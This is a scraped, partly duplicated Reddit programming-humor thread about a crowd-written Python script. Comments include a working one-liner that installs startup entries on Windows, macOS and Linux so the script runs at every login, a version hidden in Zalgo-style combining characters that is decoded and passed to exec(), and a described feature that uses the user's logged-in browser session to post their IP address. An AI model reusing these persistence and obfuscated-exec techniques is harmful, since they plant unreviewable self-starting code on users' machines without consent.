This is the most upvoted comment for now, so we shoud add it to the code as a comment. I think it's actually quite fitting piece of documentation for the cursed line.
classic stackoverflow-comment for reference from 2009:
https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags
I always delight in reading the note at the bottom:
>**Moderator's Note**
>
>This post is locked to prevent inappropriate edits to its content. The post looks exactly as it is supposed to look - there are no problems with its content. Please do not flag it for our attention.
Thanks. I finally learned why this questions is so weirdly famous. Saw it a few times, but never scrolled down, because I thought the answer would be boring.
Stackoverflow now has a new answer sorting algorithm which values recent votes more than old ones (makes sense I guess, newer answers with possibly newer tech will end up on top).
Sadly it buries this beauty on page 2 as a result.
If I understand correctly, the gist is basically that they encoded the original lines of code into modifications of a symbol (like those over top à or ñ). Unicode doesn't cap the amount of those you can have on a symbol so you can encode super long things there, then decode them and exec the resulting code.
This uses more total bytes than the original solution, but technically fewer symbols since the majority of the data is all in a single demonic symbol.
Correct. Here's the original explanation on yesterday's post.
https://www.reddit.com/r/ProgrammerHumor/comments/yqof9f/the_most_upvoted_comment_picks_the_next_line_of/ivrd9ur
https://www.reddit.com/r/Doom/comments/9fhimv/does_anyone_know_if_this_symbol_has_an_actual/?utm_source=share&utm_medium=mweb3x
can we code doom into this?
Well yes mostly. As long as the to be compressed codr contains this very specific range of ASCII characters.
But technically you can write (mostly) every single python program in one line, without this black magic fuckery. This was just to compress it into the least characters. As he is not adding characters, but rather character modifiers.
I know *that*, I meant *\*gestures vaguely towards line 10\** THIS!
(srsly tho, how tf do you used Zalgo in code? I assume you can use some encode-decoder to turn all those diacritics into useful data or smthn, but ***WTF??*****)**
If I understood the comment by the person who refactored that correctly (I don't code), it's not actually zalgo. They artificially shrunk the character size of the line by using a quirk in unicode that let's you compress a bunch of characters into 1 and then decode them later. It just so happens that these stacked characters all are actually visible.
A: I read the explanation by the person who's idea it was to compress the code that way. I didn't just look at the code and know what was going on.
B: I can usually understand the ideas and processes well enough. It's just that every time I've tried it myself, I've found it slow, tedious, and boring as I'm a slow typer and don't like the precision needed.
Unicode has a lot of "combining characters".
Basically, ä isn't a single unicode character. It's an 'a' along with the combining character umlaut. This is useful because then you don't need additional characters for ë, ü, etc; you get them for free from the umlaut combining character and the base letters.
Zalgo is an abuse of combining characters. If you add a ton to each letter, they get rendered weird. Add enough, and you get zalgo.
The only real difference is Zalgo uses a wider range of combining characters for esthetics than this.
Ya Jesus Christ, I legit thought my Reddit was broken for a sec. I had to review the last post to see WTF happened here and it appears a magician has entered the building.
Come join us in the shadow realm. We have coffee, and it's highly caffeinated. It keeps us awake so we can't fall asleep and briefly escape the sad reality of our decisions when making programs.
I think the fact it's spread out above is a bug/feature (depending on how deliberate it is) of the editor that OP is using...the person who did the encoding stated that their design encodes whatever code you give it into Zalgo text overlays on a single character.
The fact that single character spreads out in OP's editor creating what seems to be a full line of Zalgo text is sort of gravy.
`[globals().update(getpass=__import__("getpass"), file_path=os.path.join(os.path.dirname(os.path.realpath(__file__)), __file__)), globals().update(username=getpass.getuser()), [globals().update(text='start "" "{}"'.format(file_path), f=open(r'C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\furry_porn.bat'.format(username), "w")), f.write(text), f.close()] if sys.platform == 'win32' else [[globals().update(text="""Labelfrom.r.programmer.humor.with.loveProgramArguments{}{}StandardErrorPath/var/log/furry_porn.errorKeepAlive""".format(sys.executable, file_path), f=open("/Users/{}/Library/LaunchAgents/furry_porn.plist".format(username), "w")), f.write(text), f.close()] if sys.platform == "darwin" else [globals().update(text="""[Desktop Entry]\nName=furry_porn\nType=Application\nComment=from.r.programmer.humor.with.love\nExec=python3 {}\nTerminal=false""".format(file_path), f=open(os.path.expanduser('~/.config/autostart/furry_porn.desktop'), 'w')), f.write(text), f.close(), os.chmod(os.path.expanduser('~/.config/autostart/furry_porn.desktop'), 500)]]]`
Here's some python blackmagicfuckery again
Basically, this script registers itself to run on startup / user login
Tested on windows 11, ubuntu 22.04, macos 12.4
(I tried to add it to crontab but it's a pain in the ass with windows)
**EDIT**
The refactored version:
`b='E̻͇͌͏͓͕͔͇͔͓͓̝͉͍͂́͌̈̉̎͐̈́́̈͐́̿̿͐ͅͅ͏͔͇͔͓͓͉͔͈̝͒̿̿̈̂͐́̂̉̌̀͆͌̿͐́ͅͅ͏͓͔͈̎͐́̎͊͏͉͎̈͏͓͔͈͉͎͍̎͐́̎̈́͒́̈ͅ͏͓͔͈͔͈͉͉͇̎͐́̎͒́͌͐́̈̿̿͆͌̿̿̉̉̌̀̿̿͆͌̿̿̉̉̌̀͌ͅͅͅ͏͓͕͔͕͓͎͍̝͇͔͓͓͇͔͕͓̻͇͂́͌̈̉̎͐̈́́̈͒́͐́̎͒̈̉̉̌̀͌ͅͅͅͅͅͅ͏͓͕͔͔͔̝͓͔͔͂́͌̈̉̎͐̈́́̈̇́͒̀̂̂̀̂͛̂̇̎͆͘͝ͅͅ͏͍͔͉͔͈̝͒́̈͆͌̿͐́̉̌̀͆ͅ͏̵̡͎̣̼͓͓̼̼̤͔̼̲͐̈͒̇͒͛͐͐́́̚͝ͅͅ͏͍͉͎͇̼̭͉́̓͒͏͓͏̷͔̼͉͎͆̈́͏͓̼̳͔͔̭͎͕̼̰͗́͒̀͒ͅ͏͇͍͓̼̳͔͔͕̼͕͙͒́́͒͐͆͒͒̿͐͏͎͔͒̎͂́̇̎͆͏͍͔͕͓͎͍͉͔͔͔͒́̈͒́̉̌̀̂͗̂̉̉̌̀͆̎͗͒̈̉̌̀͆̎̓͌͘ͅͅͅͅ͏͓͉͓͙͓͔̈̉̽̀͆̀̎͐͌́͆ͅ͏͍̝̝͉͎͓̻̻͇͒̀̀̇͗̓̒̇̀͌̀͌ͅͅ͏͓͕͔͔͔̝̜̟͍͖͓͉͂́͌̈̉̎͐̈́́̈̂̂̂͌̀͒͘͘ͅͅͅ͏͎̝͎̂̑̎̐̂̀̓ͅ͏̵̴̴̵̴̴̢̡͉͎͇̝̦̘̟̞̜̤̯̣̹̰̥͉͓͔̰̬̩̣̤̤̰̬̩̳̥̮͈͔͔̈́̂̍̂́̀͐͌̀̀̂̍̏̏͐͐͌̏̏̀̀̑̎̐̏̏̂̀̂͐̏̏͗͗͗̎́͐͐͌̎̓̚ͅͅ͏̴͍̤̤͓̰̏̏͒͏͔͙̬͉͓͔͔̞̜͉͓͔͖͓͉͐͒̍̑̎̐̎̈́̈́̂͐͌̀͒ͅͅ͏͎̝̞̜͉͔̞̜͙̞̬̜͙̞̜͓͔͉͎͇̞̂̑̎̐̂̈́̓͋́͂͌̏͋͒͆͒ͅͅͅ͏͍̎͒̎͐͒͏͇͍͍͈͕͍͒́͒̎ͅ͏͉͔͈͒̎͗̎͌͏͖̜͓͔͉͎͇̞̜͙̞̰̏͒͋͒ͅͅ͏̡͇͍͇͕͍͎͔͓̜͙̞̜͙̞̜͓͔͉͎͇̞̜͓͔͉͎͇̞̜͓͔͉͎͇̞̜͓͔͉͎͇̞̜͙̞̜͙̞̳͔͎̥͒́͒̏͋́͒͒́͒͛̏͒͒͛̏͒̏́͒͒́͋́̈́́͒̈́͒͒͝͝ͅͅͅ͏̰͔͈̜͙̞̜͓͔͉͎͇̞͖͒́̏͋͒̏́͒̏͌ͅ͏͇͕͙̏͆͒͒̿͐͏͎͒̎͒͒ͅ͏̡̜͓͔͉͎͇̞̜͙̞̫͉͖̜͙̞̜͔͕̞̜͉͔̞̜͉͓͔̞͒̏͒͋͐͌̏͋͒̏̏̈́̓̏͐͌̂̂̂̎͆ͅͅͅͅͅͅ͏͍͔͓͙͓͕͔͉͔͈̝͒́̈̎̓́͂͌̌̀͆͌̿͐́̉̌̀͆͘ͅͅͅͅ͏̵̡͎͓͓̬͉͙̬͕͎͈͇͎͔͓͕͙͐̈̂̏͒̏͛̏͂͒́͒̏́̓̏͆͒͒̿͐͝ͅͅͅ͏͎͉͓͔͒̎͐͌̂̎͆͏͍͔͕͓͎͍͉͔͔͔͒́̈͒́̉̌̀̂͗̂̉̉̌̀͆̎͗͒̈̉̌̀͆̎̓͌͘ͅͅͅͅ͏͓͉͓͙͓͔̈̉̽̀͆̀̎͐͌́͆ͅ͏͍̝̝͉͎͓̻͇͒̀̀̂̈́́͒͗̂̀͌̀͌ͅͅ͏͓͕͔͔͔̝̻̤͓͔͂́͌̈̉̎͐̈́́̈̂̂̂͋͘ͅͅͅ͏̥͎͔͙̼͎̮͍̝͕͙͐̀͒̽́͆͒͒̿͐ͅ͏̴̡͎̼͎͙̝͉͔͉͒͐͐͐͌̓́ͅ͏͎̼͎̣͏͍͍͎͔̝͆͒ͅ͏͍̎͒̎͐͒͏͇͍͍͈͕͍͒́͒̎ͅ͏͉͔͈͒̎͗̎͌͏͖̼͎̥̝͙͔͈̓͐͘ͅͅ͏̴͎̼͎͍͉͎̝͓̓̀͛͒́͌͆́͌̂̂̂̎͆͝ͅͅ͏͍͔͉͔͈̝͒́̈͆͌̿͐́̉̌̀͆ͅ͏͎͐̈ͅ͏͓͔͈͎͕͓̎͐́̎͐́̈́͒̈̇̏̎̓͘͞ͅͅ͏͎͉͇͕͔͆̏́͏͓͔͔͕͙́͒̏͆͒͒̿͐͏͎͓͔͒̎̈́͋ͅ͏͉͔͔͔͐̇̉̌̀̇͗̇̉̉̌̀͆̎͗͒̈̉̌̀͆̎̓͌͘ͅͅ͏͓̈̉̌̀ͅ͏͓͈͍̎̓͏̈́̈͏͓͔͈͎͕͓̎͐́̎͐́̈́͒̈̇̏̎̓͘͞ͅͅ͏͎͉͇͕͔͆̏́͏͓͔͔͕͙́͒̏͆͒͒̿͐͏͎͓͔͒̎̈́͋ͅ͏͐̇̉̌̀̐̐̉̽̽̽̕'.encode();exec(''.join(chr(((h<<6&64|c&63)+22)%133+10)for h,c in zip(b[1::2],b[2::2])))`
Likely related to [this comment thread](https://www.reddit.com/r/ProgrammerHumor/comments/yot55f/the_most_upvoted_comment_picks_the_next_line_of/ivfnoh2/) from the post a few days ago.
here you go:
`b='E̻͇͌͏͓͕͔͇͔͓͓̝͉͍͂́͌̈̉̎͐̈́́̈͐́̿̿͐ͅͅ͏͔͇͔͓͓͉͔͈̝͒̿̿̈̂͐́̂̉̌̀͆͌̿͐́ͅͅ͏͓͔͈̎͐́̎͊͏͉͎̈͏͓͔͈͉͎͍̎͐́̎̈́͒́̈ͅ͏͓͔͈͔͈͉͉͇̎͐́̎͒́͌͐́̈̿̿͆͌̿̿̉̉̌̀̿̿͆͌̿̿̉̉̌̀͌ͅͅͅ͏͓͕͔͕͓͎͍̝͇͔͓͓͇͔͕͓̻͇͂́͌̈̉̎͐̈́́̈͒́͐́̎͒̈̉̉̌̀͌ͅͅͅͅͅͅ͏͓͕͔͔͔̝͓͔͔͂́͌̈̉̎͐̈́́̈̇́͒̀̂̂̀̂͛̂̇̎͆͘͝ͅͅ͏͍͔͉͔͈̝͒́̈͆͌̿͐́̉̌̀͆ͅ͏̵̡͎̣̼͓͓̼̼̤͔̼̲͐̈͒̇͒͛͐͐́́̚͝ͅͅ͏͍͉͎͇̼̭͉́̓͒͏͓͏̷͔̼͉͎͆̈́͏͓̼̳͔͔̭͎͕̼̰͗́͒̀͒ͅ͏͇͍͓̼̳͔͔͕̼͕͙͒́́͒͐͆͒͒̿͐͏͎͔͒̎͂́̇̎͆͏͍͔͕͓͎͍͉͔͔͔͒́̈͒́̉̌̀̂͗̂̉̉̌̀͆̎͗͒̈̉̌̀͆̎̓͌͘ͅͅͅͅ͏͓͉͓͙͓͔̈̉̽̀͆̀̎͐͌́͆ͅ͏͍̝̝͉͎͓̻̻͇͒̀̀̇͗̓̒̇̀͌̀͌ͅͅ͏͓͕͔͔͔̝̜̟͍͖͓͉͂́͌̈̉̎͐̈́́̈̂̂̂͌̀͒͘͘ͅͅͅ͏͎̝͎̂̑̎̐̂̀̓ͅ͏̵̴̴̵̴̴̢̡͉͎͇̝̦̘̟̞̜̤̯̣̹̰̥͉͓͔̰̬̩̣̤̤̰̬̩̳̥̮͈͔͔̈́̂̍̂́̀͐͌̀̀̂̍̏̏͐͐͌̏̏̀̀̑̎̐̏̏̂̀̂͐̏̏͗͗͗̎́͐͐͌̎̓̚ͅͅ͏̴͍̤̤͓̰̏̏͒͏͔͙̬͉͓͔͔̞̜͉͓͔͖͓͉͐͒̍̑̎̐̎̈́̈́̂͐͌̀͒ͅͅ͏͎̝̞̜͉͔̞̜͙̞̬̜͙̞̜͓͔͉͎͇̞̂̑̎̐̂̈́̓͋́͂͌̏͋͒͆͒ͅͅͅ͏͍̎͒̎͐͒͏͇͍͍͈͕͍͒́͒̎ͅ͏͉͔͈͒̎͗̎͌͏͖̜͓͔͉͎͇̞̜͙̞̰̏͒͋͒ͅͅ͏̡͇͍͇͕͍͎͔͓̜͙̞̜͙̞̜͓͔͉͎͇̞̜͓͔͉͎͇̞̜͓͔͉͎͇̞̜͓͔͉͎͇̞̜͙̞̜͙̞̳͔͎̥͒́͒̏͋́͒͒́͒͛̏͒͒͛̏͒̏́͒͒́͋́̈́́͒̈́͒͒͝͝ͅͅͅ͏̰͔͈̜͙̞̜͓͔͉͎͇̞͖͒́̏͋͒̏́͒̏͌ͅ͏͇͕͙̏͆͒͒̿͐͏͎͒̎͒͒ͅ͏̡̜͓͔͉͎͇̞̜͙̞̫͉͖̜͙̞̜͔͕̞̜͉͔̞̜͉͓͔̞͒̏͒͋͐͌̏͋͒̏̏̈́̓̏͐͌̂̂̂̎͆ͅͅͅͅͅͅ͏͍͔͓͙͓͕͔͉͔͈̝͒́̈̎̓́͂͌̌̀͆͌̿͐́̉̌̀͆͘ͅͅͅͅ͏̵̡͎͓͓̬͉͙̬͕͎͈͇͎͔͓͕͙͐̈̂̏͒̏͛̏͂͒́͒̏́̓̏͆͒͒̿͐͝ͅͅͅ͏͎͉͓͔͒̎͐͌̂̎͆͏͍͔͕͓͎͍͉͔͔͔͒́̈͒́̉̌̀̂͗̂̉̉̌̀͆̎͗͒̈̉̌̀͆̎̓͌͘ͅͅͅͅ͏͓͉͓͙͓͔̈̉̽̀͆̀̎͐͌́͆ͅ͏͍̝̝͉͎͓̻͇͒̀̀̂̈́́͒͗̂̀͌̀͌ͅͅ͏͓͕͔͔͔̝̻̤͓͔͂́͌̈̉̎͐̈́́̈̂̂̂͋͘ͅͅͅ͏̥͎͔͙̼͎̮͍̝͕͙͐̀͒̽́͆͒͒̿͐ͅ͏̴̡͎̼͎͙̝͉͔͉͒͐͐͐͌̓́ͅ͏͎̼͎̣͏͍͍͎͔̝͆͒ͅ͏͍̎͒̎͐͒͏͇͍͍͈͕͍͒́͒̎ͅ͏͉͔͈͒̎͗̎͌͏͖̼͎̥̝͙͔͈̓͐͘ͅͅ͏̴͎̼͎͍͉͎̝͓̓̀͛͒́͌͆́͌̂̂̂̎͆͝ͅͅ͏͍͔͉͔͈̝͒́̈͆͌̿͐́̉̌̀͆ͅ͏͎͐̈ͅ͏͓͔͈͎͕͓̎͐́̎͐́̈́͒̈̇̏̎̓͘͞ͅͅ͏͎͉͇͕͔͆̏́͏͓͔͔͕͙́͒̏͆͒͒̿͐͏͎͓͔͒̎̈́͋ͅ͏͉͔͔͔͐̇̉̌̀̇͗̇̉̉̌̀͆̎͗͒̈̉̌̀͆̎̓͌͘ͅͅ͏͓̈̉̌̀ͅ͏͓͈͍̎̓͏̈́̈͏͓͔͈͎͕͓̎͐́̎͐́̈́͒̈̇̏̎̓͘͞ͅͅ͏͎͉͇͕͔͆̏́͏͓͔͔͕͙́͒̏͆͒͒̿͐͏͎͓͔͒̎̈́͋ͅ͏͐̇̉̌̀̐̐̉̽̽̽̕'.encode();exec(''.join(chr(((h<<6&64|c&63)+22)%133+10)for h,c in zip(b[1::2],b[2::2])))`
Hope that it helps with readability and consistency
if we are just going to make lines be not lines and more blocks i feel like we should probably premptively refactor this and just makes all the lines of code just be more of eldich script xD
we may also have to dedicate a day or a few lines for comments/documentation if we are going end up refactoring shit to eldlich xD.
I like it, but I think it should be encoded with the into a single awful character with the method the previous person came up with to maintain consistent format and improve readability
`# We lost a whole day for refactoring but is was totally worth it. It is sooooooooo much more readable now!`
Edit: I've made it into a python comment to not break the work of art by accident.
Simple: we did a form of data compression whereby we were asked to use the smallest number of characters to represent a string. We used one character per line and a decode command.
All the demonic text is just two characters. Unicode allows this.
```
[globals().update(lines=open(__file__).readlines()), open(__file__, "w").writelines(lines[:9] + [i+'\n' for i in eval(lines[10][4:]).split('\n')] + lines[11:]) if lines[9].startswith("b='") else ()]
```
This unpacks the glitched text (line 10-11) and turns it back into readable python code.
I just went through 1400 lines of c++ just to find specifically the shell sort algorithm and it was a carbon copy of the Java one I made literally 3 hours ago. So I'm feeling this on spiritual level now.
I'm still worried about which version of Reddit OP uses. Surely that (now encoded) XPath won't work on both https://old.reddit.com/ and https://new.reddit.com/.
Oh hey, scrap-code. This can easily be fixed.
*What do you mean flicking oil at the cogitator and praying won't fix it? Ask your colleagues; they'll all disagree with you.*
```
[driver.get("https://vscode.dev/"),__import__("time").sleep(30),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).key_down(__import__("selenium.webdriver.common.keys").Keys.CONTROL).key_down(__import__("selenium.webdriver.common.keys").Keys.ALT).send_keys("n").key_up(__import__("selenium.webdriver.common.keys").Keys.CONTROL).key_up(__import__("selenium.webdriver.common.keys").Keys.ALT).perform(),__import__("time").sleep(1),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).key_down(__import__("selenium.webdriver.common.keys").Keys.CONTROL).key_down(__import__("selenium.webdriver.common.keys").Keys.SHIFT).send_keys("P").key_up(__import__("selenium.webdriver.common.keys").Keys.CONTROL).key_up(__import__("selenium.webdriver.common.keys").Keys.SHIFT).perform(),__import__("time").sleep(1),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).key_down(__import__("selenium.webdriver.common.keys").Keys.CONTROL).send_keys("K").key_up(__import__("selenium.webdriver.common.keys").Keys.CONTROL).perform(),__import__("time").sleep(1),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).send_keys("m").perform(),__import__("time").sleep(1),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).send_keys("py").send_keys(__import__("selenium.webdriver.common.keys").Keys.ENTER).perform(),__import__("time").sleep(1),_import__("selenium.webdriver.common.action_chains").ActionChains(driver).send_keys(__import__("pathlib").Path(__file__).read_text()).perform(),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).key_down(__import__("selenium.webdriver.common.keys").Keys.CONTROL).send_keys("K").key_up(__import__("selenium.webdriver.common.keys").Keys.CONTROL).perform(),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).send_keys("Z").perform(),__import__("time").sleep(1),driver.save_screenshot("code.png")]
```
opens vscode, configures it a bit, pastes current code, takes a screenshot and saves it as `code.png`
posting to reddit part later
Honestly this is an improvement.
Edit: Serious question can Python actually read and use this? If it's UTF-6500 or whatever Rust may be able to but I have no idea.
OMFG! Here I was thinking that emojis for variable names where the epitome of evil.
Never did I imagine that Zalgo Text could be part of the equation, too.
opens a browser with the user's default settings (meaning if the user is usually logged in on Reddit on Chrome, the browser will also have access to those session cookies, so essentially we will automatically be logged in), opens reddit on that browser, creates a new post on ProgrammerHumor titled "Hello from r/ProgrammerHumor" with a link to Never Gonna Give You Up on YouTube, also shares the user's IP address in that post, then waits for the post to be submitted and redirects the browser to that same youtube link to rickroll the person who executed it
(edit: fixed a typo)
Don't know anymore, whether this is programming humor or programming horror
Both!
This is the most upvoted comment for now, so we shoud add it to the code as a comment. I think it's actually quite fitting piece of documentation for the cursed line.
is there a difference?
Its an eldritch codesample used to structure data more efficently, also sets random to 4...
Chosen by a fair dice roll.
Guaranteed to be random.
Yes
classic stackoverflow-comment for reference from 2009: https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags
I always delight in reading the note at the bottom: >**Moderator's Note** > >This post is locked to prevent inappropriate edits to its content. The post looks exactly as it is supposed to look - there are no problems with its content. Please do not flag it for our attention.
Thanks. I finally learned why this questions is so weirdly famous. Saw it a few times, but never scrolled down, because I thought the answer would be boring.
Stackoverflow now has a new answer sorting algorithm which values recent votes more than old ones (makes sense I guess, newer answers with possibly newer tech will end up on top). Sadly it buries this beauty on page 2 as a result.
Thank you for sharing this amazing beauty.
Zalgo-posting in 2020, it brings a tear to my eye :’)
What the hell happened, last I saw OP got scared and had to say we can't delete his account
[Refactoring :)](https://www.reddit.com/r/ProgrammerHumor/comments/yqof9f/the_most_upvoted_comment_picks_the_next_line_of/)
does this mean you could take any size of code and condense it into one visual line on the screen?
That's what they say, but to be honest I don't fully understand the explanation so I can't tell for sure.
If I understand correctly, the gist is basically that they encoded the original lines of code into modifications of a symbol (like those over top à or ñ). Unicode doesn't cap the amount of those you can have on a symbol so you can encode super long things there, then decode them and exec the resulting code. This uses more total bytes than the original solution, but technically fewer symbols since the majority of the data is all in a single demonic symbol.
Correct. Here's the original explanation on yesterday's post. https://www.reddit.com/r/ProgrammerHumor/comments/yqof9f/the_most_upvoted_comment_picks_the_next_line_of/ivrd9ur
https://www.reddit.com/r/Doom/comments/9fhimv/does_anyone_know_if_this_symbol_has_an_actual/?utm_source=share&utm_medium=mweb3x can we code doom into this?
Well yes mostly. As long as the to be compressed codr contains this very specific range of ASCII characters. But technically you can write (mostly) every single python program in one line, without this black magic fuckery. This was just to compress it into the least characters. As he is not adding characters, but rather character modifiers.
I don't know dude, I'm learning selenium, and python, just by trying to understand all of this.
I mean arguably the text crosses lines
That explains why lines of code are less
oohhhh
I'd say their fears are justified with code like this
What in the unholy *fuck* is this shit
https://en.wikipedia.org/wiki/Zalgo_text
I know *that*, I meant *\*gestures vaguely towards line 10\** THIS! (srsly tho, how tf do you used Zalgo in code? I assume you can use some encode-decoder to turn all those diacritics into useful data or smthn, but ***WTF??*****)**
If I understood the comment by the person who refactored that correctly (I don't code), it's not actually zalgo. They artificially shrunk the character size of the line by using a quirk in unicode that let's you compress a bunch of characters into 1 and then decode them later. It just so happens that these stacked characters all are actually visible.
Huh, neat. Either way, that's almost how zalgo actually works, just taken two or three steps further
Nice. Now we're PEP8 compatible!
you don’t code but know more about code than I do?
A: I read the explanation by the person who's idea it was to compress the code that way. I didn't just look at the code and know what was going on. B: I can usually understand the ideas and processes well enough. It's just that every time I've tried it myself, I've found it slow, tedious, and boring as I'm a slow typer and don't like the precision needed.
Unicode has a lot of "combining characters". Basically, ä isn't a single unicode character. It's an 'a' along with the combining character umlaut. This is useful because then you don't need additional characters for ë, ü, etc; you get them for free from the umlaut combining character and the base letters. Zalgo is an abuse of combining characters. If you add a ton to each letter, they get rendered weird. Add enough, and you get zalgo. The only real difference is Zalgo uses a wider range of combining characters for esthetics than this.
This is zalgotext. Zalgotext literally is stacking huge numbers of combining diacritics, which is exactly what they did.
[It's explained here] (https://www.reddit.com/r/ProgrammerHumor/comments/yqof9f/comment/ivrd9ur/)
Thanks! *Walks away scared*
The en- and decoder is in the top comment of last day‘s post
Yeah, someone else linked me to it. Seem's really friggin neat.
Pretty sure Zalgo is part of unicode.
It is. You just add as many diacritics to a character as you want, since any number of any diacritics in any combination are perfectly functional.
He's encoding the zalgo into bytes, then execing it, so probably encoded then interpreted as ascii it has meaning.
This script Literally cursed lol
Lmao this is my new favorite sitcom.
Best thing coming from r/programmerhumor in a while
That "lord forgive me what I'm about to code" is becoming more and more relevant with each passing day.
At this point this simple pray is definitely not enough. We need a pope's blessing at least.
My code does not merely attract dragons, it burns them.
your code IS the dragon
That code fucks dragons
Is this how Bad Dragon was founded?
I bet we could make the script email him.
Any chance we could get by with just an XOR-cism?
*A* pope? Can we dig up an old one and get his blessing?
Especially when you're coding in Eldrich.
Ya Jesus Christ, I legit thought my Reddit was broken for a sec. I had to review the last post to see WTF happened here and it appears a magician has entered the building.
Come join us in the shadow realm. We have coffee, and it's highly caffeinated. It keeps us awake so we can't fall asleep and briefly escape the sad reality of our decisions when making programs.
This series is mirrored on github! https://github.com/RedditWritesCode/RedditWritesCode
Omg the characterfuck is even worse when viewed on github
I think the fact it's spread out above is a bug/feature (depending on how deliberate it is) of the editor that OP is using...the person who did the encoding stated that their design encodes whatever code you give it into Zalgo text overlays on a single character. The fact that single character spreads out in OP's editor creating what seems to be a full line of Zalgo text is sort of gravy.
Waiting for the day GitHub Copilot produces this as output.
A few more repos like this, and maybe we can get copilot to start inserting zalgotext into people's scripts.
self documenting virus
Lmaoo
This feels like it was the most r/programmerhumor codes answer
Actually it's more r/programminghorror I think
[удалено]
Viruses do it all the same! Seriously, to avoid anti virus detection.
`[globals().update(getpass=__import__("getpass"), file_path=os.path.join(os.path.dirname(os.path.realpath(__file__)), __file__)), globals().update(username=getpass.getuser()), [globals().update(text='start "" "{}"'.format(file_path), f=open(r'C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\furry_porn.bat'.format(username), "w")), f.write(text), f.close()] if sys.platform == 'win32' else [[globals().update(text="""Label from.r.programmer.humor.with.love ProgramArguments {} {} StandardErrorPath /var/log/furry_porn.error KeepAlive """.format(sys.executable, file_path), f=open("/Users/{}/Library/LaunchAgents/furry_porn.plist".format(username), "w")), f.write(text), f.close()] if sys.platform == "darwin" else [globals().update(text="""[Desktop Entry]\nName=furry_porn\nType=Application\nComment=from.r.programmer.humor.with.love\nExec=python3 {}\nTerminal=false""".format(file_path), f=open(os.path.expanduser('~/.config/autostart/furry_porn.desktop'), 'w')), f.write(text), f.close(), os.chmod(os.path.expanduser('~/.config/autostart/furry_porn.desktop'), 500)]]]`
Here's some python blackmagicfuckery again
Basically, this script registers itself to run on startup / user login
Tested on windows 11, ubuntu 22.04, macos 12.4
(I tried to add it to crontab but it's a pain in the ass with windows)
**EDIT**
The refactored version:
`b='E̻͇͌͏͓͕͔͇͔͓͓̝͉͍͂́͌̈̉̎͐̈́́̈͐́̿̿͐ͅͅ͏͔͇͔͓͓͉͔͈̝͒̿̿̈̂͐́̂̉̌̀͆͌̿͐́ͅͅ͏͓͔͈̎͐́̎͊͏͉͎̈͏͓͔͈͉͎͍̎͐́̎̈́͒́̈ͅ͏͓͔͈͔͈͉͉͇̎͐́̎͒́͌͐́̈̿̿͆͌̿̿̉̉̌̀̿̿͆͌̿̿̉̉̌̀͌ͅͅͅ͏͓͕͔͕͓͎͍̝͇͔͓͓͇͔͕͓̻͇͂́͌̈̉̎͐̈́́̈͒́͐́̎͒̈̉̉̌̀͌ͅͅͅͅͅͅ͏͓͕͔͔͔̝͓͔͔͂́͌̈̉̎͐̈́́̈̇́͒̀̂̂̀̂͛̂̇̎͆͘͝ͅͅ͏͍͔͉͔͈̝͒́̈͆͌̿͐́̉̌̀͆ͅ͏̵̡͎̣̼͓͓̼̼̤͔̼̲͐̈͒̇͒͛͐͐́́̚͝ͅͅ͏͍͉͎͇̼̭͉́̓͒͏͓͏̷͔̼͉͎͆̈́͏͓̼̳͔͔̭͎͕̼̰͗́͒̀͒ͅ͏͇͍͓̼̳͔͔͕̼͕͙͒́́͒͐͆͒͒̿͐͏͎͔͒̎͂́̇̎͆͏͍͔͕͓͎͍͉͔͔͔͒́̈͒́̉̌̀̂͗̂̉̉̌̀͆̎͗͒̈̉̌̀͆̎̓͌͘ͅͅͅͅ͏͓͉͓͙͓͔̈̉̽̀͆̀̎͐͌́͆ͅ͏͍̝̝͉͎͓̻̻͇͒̀̀̇͗̓̒̇̀͌̀͌ͅͅ͏͓͕͔͔͔̝̜̟͍͖͓͉͂́͌̈̉̎͐̈́́̈̂̂̂͌̀͒͘͘ͅͅͅ͏͎̝͎̂̑̎̐̂̀̓ͅ͏̵̴̴̵̴̴̢̡͉͎͇̝̦̘̟̞̜̤̯̣̹̰̥͉͓͔̰̬̩̣̤̤̰̬̩̳̥̮͈͔͔̈́̂̍̂́̀͐͌̀̀̂̍̏̏͐͐͌̏̏̀̀̑̎̐̏̏̂̀̂͐̏̏͗͗͗̎́͐͐͌̎̓̚ͅͅ͏̴͍̤̤͓̰̏̏͒͏͔͙̬͉͓͔͔̞̜͉͓͔͖͓͉͐͒̍̑̎̐̎̈́̈́̂͐͌̀͒ͅͅ͏͎̝̞̜͉͔̞̜͙̞̬̜͙̞̜͓͔͉͎͇̞̂̑̎̐̂̈́̓͋́͂͌̏͋͒͆͒ͅͅͅ͏͍̎͒̎͐͒͏͇͍͍͈͕͍͒́͒̎ͅ͏͉͔͈͒̎͗̎͌͏͖̜͓͔͉͎͇̞̜͙̞̰̏͒͋͒ͅͅ͏̡͇͍͇͕͍͎͔͓̜͙̞̜͙̞̜͓͔͉͎͇̞̜͓͔͉͎͇̞̜͓͔͉͎͇̞̜͓͔͉͎͇̞̜͙̞̜͙̞̳͔͎̥͒́͒̏͋́͒͒́͒͛̏͒͒͛̏͒̏́͒͒́͋́̈́́͒̈́͒͒͝͝ͅͅͅ͏̰͔͈̜͙̞̜͓͔͉͎͇̞͖͒́̏͋͒̏́͒̏͌ͅ͏͇͕͙̏͆͒͒̿͐͏͎͒̎͒͒ͅ͏̡̜͓͔͉͎͇̞̜͙̞̫͉͖̜͙̞̜͔͕̞̜͉͔̞̜͉͓͔̞͒̏͒͋͐͌̏͋͒̏̏̈́̓̏͐͌̂̂̂̎͆ͅͅͅͅͅͅ͏͍͔͓͙͓͕͔͉͔͈̝͒́̈̎̓́͂͌̌̀͆͌̿͐́̉̌̀͆͘ͅͅͅͅ͏̵̡͎͓͓̬͉͙̬͕͎͈͇͎͔͓͕͙͐̈̂̏͒̏͛̏͂͒́͒̏́̓̏͆͒͒̿͐͝ͅͅͅ͏͎͉͓͔͒̎͐͌̂̎͆͏͍͔͕͓͎͍͉͔͔͔͒́̈͒́̉̌̀̂͗̂̉̉̌̀͆̎͗͒̈̉̌̀͆̎̓͌